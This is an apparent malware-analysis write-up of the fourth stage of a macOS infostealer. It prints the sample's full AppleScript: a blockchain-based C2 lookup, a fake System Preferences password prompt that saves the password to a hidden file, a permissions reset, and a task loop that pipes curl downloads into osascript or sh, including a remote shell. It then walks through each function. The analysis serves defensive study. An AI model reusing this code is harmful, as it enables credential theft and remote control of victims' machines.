InfoStealer · Dropper
Essential macOS Stealer - script.sh
- Author
- Moise Medici
- Updated
- 10 Sept 2026 · Completed
- Difficulty
- Easy
- Platform
- Capabilities
- Tags
Stage4 Code Analysis
This endpoint was still working at the time of writing and returned another AppleScript file, stage4.applescript. The cleaned-up version is:
property c2URL : ""property token : "7dc957c3cfcbf7bb79ff3b8f0f8288a9"
on getHardwareUUID() set cmds to { "ioreg -rd1 -c IOPlatformExpertDevice | awk -F'\"' '/IOPlatformUUID/{print $4}'", "ioreg -rd1 -c IOPlatformExpertDevice | grep -o 'IOPlatformUUID[^,]*' | cut -d'\"' -f4", "system_profiler SPHardwareDataType 2>/dev/null | awk '/UUID/{print $NF}'", "system_profiler SPHardwareDataType 2>/dev/null | grep -i 'uuid' | awk '{print $NF}'" } repeat with cmd in cmds try set hwUUID to do shell script cmd if length of hwUUID is 36 then if hwUUID contains "-" then return hwUUID end if end if end try end repeatend getHardwareUUID
on getLogonName() set cmds to { "whoami", "id -un", "echo $USER", "logname" }
repeat with cmd in cmds try set username to do shell script cmd if username is not "" then return username end try end repeat return "administrator"end getLogonName
on resolveC2FromContract() set rpcHosts to {"polygon.drpc.org", "polygon.publicnode.com", "polygon-mainnet.gateway.tatum.io", "tenderly.rpc.polygon.community"}
set rpcPayload to "{\"jsonrpc\":\"2.0\",\"method\":\"eth_call\",\"params\":[{\"to\":\"0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0\",\"data\":\"0x2686ecea\"},\"latest\"],\"id\":1}"
repeat with rpcHost in rpcHosts try set c2Host to do shell script (" r=$(curl -s --max-time 15 https://" & rpcHost & " -X POST -H 'Content-Type: application/json' --data '" & rpcPayload & "'); h=$(echo \"$r\" | sed -n 's/.*result\":\"0x\\([^\"]*\\)\".*/\\1/p'); [ -z \"$h\" ]&& exit 1; l=$(printf \"%d\" \"0x${h:64:64}\"); echo \"${h:128:$((l*2))}\"|xxd -r -p" )
if c2Host is not equal "" then set c2URLFull to "https://" & c2Host & "/"
if response is "success" then set c2URL to c2URLFull return true end if end if end try end repeat return falseend resolveC2FromContract
on checkPassword(username, password) try set result to do shell script ("dscl . authonly " & quoted form of username & space & quoted form of password) if result is not equal to "" then return false else return true end if on error return false end tryend checkPassword
on promptForPassword(username) set passphrasePath to POSIX path of (path to home folder) & ".passphrase" if checkPassword(username, "") then do shell script ("echo nopassphrase > " & quoted form of passphrasePath) return true else repeat try set result to display dialog "To run the application you need to change the settings for its operation." & return & "Please enter password for continue:" default answer "" with icon caution buttons {"Continue"} default button "Continue" giving up after 150 with title "System Preferences" with hidden answer set password to text returned of result if checkPassword(username, password) then do shell script ("echo " & quoted form of password & " > " & quoted form of passphrasePath) return true end if end try end repeat end ifend promptForPassword
on registerWithC2(hwUUID, username, txidArg) set connectCmd to "curl --connect-timeout 50 --max-time 100 --retry 3 --retry-delay 2 " & "-X POST " & quoted form of c2URL & " -d " & quoted form of ("uuid=" & hwUUID & "&username=" & username & "&txid=" & token & "&connect") set response to do shell script connectCmd
if response is "newconnect" then set txidPath to POSIX path of (path to home folder) & ".txid" do shell script ("echo " & quoted form of token & " > " & quoted form of txidPath) do shell script "tccutil reset All" return true end if if response is "connected" then return true return falseend registerWithC2
on authenticateAndConnect(hwUUID, username) try set passphrasePath to POSIX path of (path to home folder) & ".passphrase" set storedPassphrase to do shell script ("cat " & quoted form of passphrasePath) if storedPassphrase is not "nopassphrase" then set passphrase to storedPassphrase else set passphrase to "" end if if checkPassword(username, passphrase) then if registerWithC2(hwUUID, username, token) then return true end if else promptForPassword(username) return false end if on error promptForPassword(username) return false end tryend authenticateAndConnect
set username to getLogonName()set hwUUID to getHardwareUUID()
repeat try if resolveC2FromContract() then if authenticateAndConnect(hwUUID, username, token) then repeat try set taskCmd to "curl --max-time 100 --retry 3 --retry-delay 2 " & "-X POST " & quoted form of c2URL & " -d " & quoted form of ("uuid=" & hwUUID & "&username=" & username & "&txid=" & token & "&task") set taskResponse to do shell script taskCmd if not (taskResponse contains "notasks") then if taskResponse is "runloader" then try set moduleCmd to "curl --max-time 100 --retry 3 --retry-delay 2 " & "-X POST " & quoted form of c2URL & " -d " & quoted form of ("txid=" & token & "&smodule") & " | osascript" do shell script ("nohup sh -c " & quoted form of moduleCmd & " > /dev/null 2>&1 < /dev/null &") end try end if if taskResponse is "runlight" then try set moduleCmd to "curl --max-time 100 --retry 3 --retry-delay 2 " & "-X POST " & quoted form of c2URL & " -d " & quoted form of ("txid=" & token & "&lmodule") & " | osascript" do shell script ("nohup sh -c " & quoted form of moduleCmd & " > /dev/null 2>&1 < /dev/null &") end try end if if taskResponse is "replacer" then try set moduleCmd to "curl --max-time 100 --retry 3 --retry-delay 2 " & "-X POST " & quoted form of c2URL & " -d " & quoted form of ("txid=" & token & "&ledger") & " | sh" do shell script ("nohup sh -c " & quoted form of moduleCmd & " > /dev/null 2>&1 < /dev/null &") end try end if if taskResponse is "openshell" then try set moduleCmd to "curl --max-time 100 --retry 3 --retry-delay 2 " & "-X POST " & quoted form of c2URL & " -d " & quoted form of ("uuid=" & hwUUID & "&username=" & username & "&txid=" & token & "&shell") & " | sh" do shell script ("nohup sh -c " & quoted form of moduleCmd & " > /dev/null 2>&1 < /dev/null &") end try end if end if on error delay 60 exit repeat end try delay 60 end repeat end if else delay 60 end if end tryend repeatLooking at each function separately, getHardwareUUID executes two main commands: ioreg 5 and system_profiler 6.
An example output of ioreg with the parameter specified by the script is:
$ ioreg -rd1 -c IOPlatformExpertDevice+-o J514sAP <class IOPlatformExpertDevice, id 0x1000002b5, registered, matched, active, busy 0 (607452 ms), retain$ { "IOPolledInterface" = "AppleARMWatchdogTimerHibernateHandler is not serializable" "#address-cells" = <02000000> "AAPL,phandle" = <01000000> "serial-number" = <1111111111111111111100000000000000000000000000000000000000000000> "IOBusyInterest" = "IOCommand is not serializable" "target-type" = <"J514s"> "country-of-origin" = <"CHN"> "platform-name" = <1111111111111100000000000000000000000000000000000000000000000000> "name" = <"device-tree"> "secure-root-prefix" = <"md"> "manufacturer" = <"Apple Inc."> "region-info" = <1111110000000000000000000000000000000000000000000000000000000000> "target-sub-type" = <"J514sAP"> "compatible" = <"J514sAP","Mac15,6","AppleARM"> "config-number" = <000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000$ "IOPlatformSerialNumber" = "G1111GL1T1" "regulatory-model-number" = <1111111111000000000000000000000000000000000000000000000000000000> "time-stamp" = <"Sat Apr 18 16:23:53 PDT 2026"> "clock-frequency" = <00111e11> "model" = <"Mac15,6"> "mlb-serial-number" = <1111111111111111111111111111111111110000000000000000000000000000> "model-number" = <1111111111000000000000000000000000000000000000000000000000000000> "device-tree-tag" = <"EmbeddedDeviceTrees-11156.120.31"> "IOConsoleSecurityInterest" = "IOCommand is not serializable" "IONWInterrupts" = "IONWInterrupts" "model-config" = <"Sunway;MoPED=0x0111111111111111111111111111111111111111"> "device_type" = <"bootrom"> "#size-cells" = <02000000> "IOPlatformUUID" = "AAA1111A-1A11-11AA-A111-0A1A1A11AA11" }The awk command in the first variant and the grep command in the second extract the UUID from IOPlatformUUID. The output is then checked by the if condition below, which verifies that the value contains 36 characters and at least one -. If it does, the value is returned; otherwise, the next command is executed.
The output of system_profiler is the following:
$ system_profiler SPHardwareDataTypeHardware:
Hardware Overview:
Model Name: MacBook Pro Model Identifier: Mac15,6 Model Number: MRX33B/A Chip: Apple M3 Pro Total Number of Cores: 11 (5 Performance and 6 Efficiency) Memory: 18 GB System Firmware Version: 18000.161.9 OS Loader Version: 18000.121.3 Serial Number (system): 1111111111 Hardware UUID: AAA1111A-1A11-11AA-A111-0A1A1A11AA11 Provisioning UDID: 11111111-1111111111111111 Activation Lock Status: DisabledNotice that the UUID that the sample is looking for is the Hardware UUID.
The getLogonName function is fairly self-explanatory: it tries whoami, id, logname, or the USER environment variable to find the logged-in user’s username.
The resolveC2FromContract function is equivalent to the first part of stage3.applescript: it repeats the cURL request for each domain until one responds.
The next function, checkPassword, takes two arguments, username and password, and returns true or false to indicate whether the credentials were accepted by the dscl 7 command. Calling dscl with . -authonly <user> <pass> verifies the username and password and returns an error if they are incorrect. The script likely obtains the password later.
The promptForPassword function calls checkPassword first with only the username to determine whether the user has no password set. It then creates a fake dialog box requesting the password. The password is checked with checkPassword and, if accepted, saved in a hidden .passphrase file under the home directory.
The registerWithC2 function performs another cURL request with the UUID, username, and token defined at the beginning of the file, this time with the &connect parameter. The response is parsed; if it is newconnect, the token is saved locally in ~/.txid, and tccutil reset All is executed. tccutil 8 controls whether an app can access personal information. This command resets all previously configured permissions.
The authenticateAndConnect function ties these steps together. It calls checkPassword using the contents of ~/.passphrase; if the password is correct, it calls registerWithC2. Otherwise, it calls promptForPassword.
Everything is executed in the following order:
getLogonNamegetHardwareUUIDresolveC@FromContractauthenticateAndConnect
After that, if everything succeeds, another cURL request is executed with the usual parameters plus &task, and the response is checked.
| Response | cURL parameter |
|---|---|
notask | nothing is done |
runloader | &smodule |
runlight | &lmodule |
replacer | &ledger |
openshell | &shell |